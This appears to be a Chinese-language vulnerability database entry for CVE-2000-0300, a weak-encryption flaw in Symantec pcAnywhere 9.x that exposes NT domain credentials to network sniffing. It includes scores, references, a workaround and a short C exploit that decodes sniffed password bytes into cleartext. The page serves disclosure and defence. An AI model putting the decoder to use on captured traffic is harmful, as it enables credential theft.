CVE-2000-0300
CVSS10.0
发布时间 :2000-04-06 00:00:00
修订时间 :2008-09-10 15:04:02
NMCOES    

[原文]The default encryption method of PcAnywhere 9.x uses weak encryption, which allows remote attackers to sniff and decrypt PcAnywhere or NT domain accounts.


[CNNVD]Symantec pcAnywhere弱加密漏洞(CNNVD-200004-010)

        PcAnywhere 9.x的缺省加密算法强度弱,存在漏洞,远程攻击者可以利用这个漏洞嗅探和破译 PcAnywhere或NT的域账号。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0300
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0300
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200004-010
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1093
(VENDOR_ADVISORY)  BID  1093
http://www.securityfocus.com/templates/archive.pike?list=1&msg=20000406030958.23902.qmail@securityfocus.com
(VENDOR_ADVISORY)  BUGTRAQ  20000405 PcAnywhere weak password encryption

- 漏洞信息

Symantec pcAnywhere弱加密漏洞
危急 设计错误
2000-04-06 00:00:00 2005-10-20 00:00:00
远程※本地  
        PcAnywhere 9.x的缺省加密算法强度弱,存在漏洞,远程攻击者可以利用这个漏洞嗅探和破译 PcAnywhere或NT的域账号。

- 公告与补丁

        Symantec recommends implementing symmetric or public encryption with pcAnywhere. Information on this subject can be found in the following knowledge base article:
        http://service1.symantec.com/SUPPORT/pca.nsf/pfdocs/1999022312571812

- 漏洞信息 (19836)

Symantec pcAnywhere 9.0 Weak Encryption Vulnerability (EDBID:19836)
windows local
2000-04-06 Verified
0 Pascal Longpre
N/A [点击下载]
source: http://www.securityfocus.com/bid/1093/info

Symantec pcAnywhere is shipped by default with a weak encryption scheme that is used to encrypt username and password transmittal. Therefore, usernames and password can be retrieved by anyone sniffing the network in between the host computer running pcAnywhere and the NT domain controller.

Users of pcAnywhere can be authenticated with their NT domain username and password. In this case, the weakly encrypted transmitted authentication would be transmitted domain wide. 

#include <stdio.h>
#include <string.h>

void main() {

  char password[128];
  char cleartext[128];
  int	 i;

  // input the sniffed hex values here
  // Encrypted example of the 'aaaaa' password
  password[0]=0xca;
  password[1]=0xab;
  password[2]=0xcb;
  password[3]=0xa8;
  password[4]=0xca;
  password[5]='\0';

	cleartext[0]=0xca-password[0]+0x61;
	for (i=1;i<strlen(password);i++) 
	  cleartext[i] = password[i-1] ^ password[i] ^ i-1;
	
	cleartext[strlen(password)]='\0';

	printf("password is %s \n",cleartext);

}
		

- 漏洞信息

13646
Symantec pcAnywhere Default Encryption Weakness
Remote / Network Access Cryptographic, Information Disclosure
Loss of Confidentiality Workaround
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2000-04-06 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this vulnerability. It is possible to temporarily work around the flaw by implementing the following workaround: Set the minimum encryption level to symmetric or higher and deny lower level connections.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Symantec pcAnywhere Weak Encryption Vulnerability
Design Error 1093
Yes Yes
2000-04-06 12:00:00 2009-07-11 01:56:00
Posted to Bugtraq on April 6, 2000 by Pascal Longpre <longprep@hotmail.com>.

- 受影响的程序版本

Symantec pcAnywhere 9.0
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0

- 漏洞讨论

Symantec pcAnywhere is shipped by default with a weak encryption scheme that is used to encrypt username and password transmittal. Therefore, usernames and password can be retrieved by anyone sniffing the network in between the host computer running pcAnywhere and the NT domain controller.

Users of pcAnywhere can be authenticated with their NT domain username and password. In this case, the weakly encrypted transmitted authentication would be transmitted domain wide.

- 漏洞利用

Pascal Longpre &lt;longprep@hotmail.com&gt; has released the following exploit:

- 解决方案

Symantec recommends implementing symmetric or public encryption with pcAnywhere. Information on this subject can be found in the following knowledge base article:

http://service1.symantec.com/SUPPORT/pca.nsf/pfdocs/1999022312571812

- 相关参考

 

 

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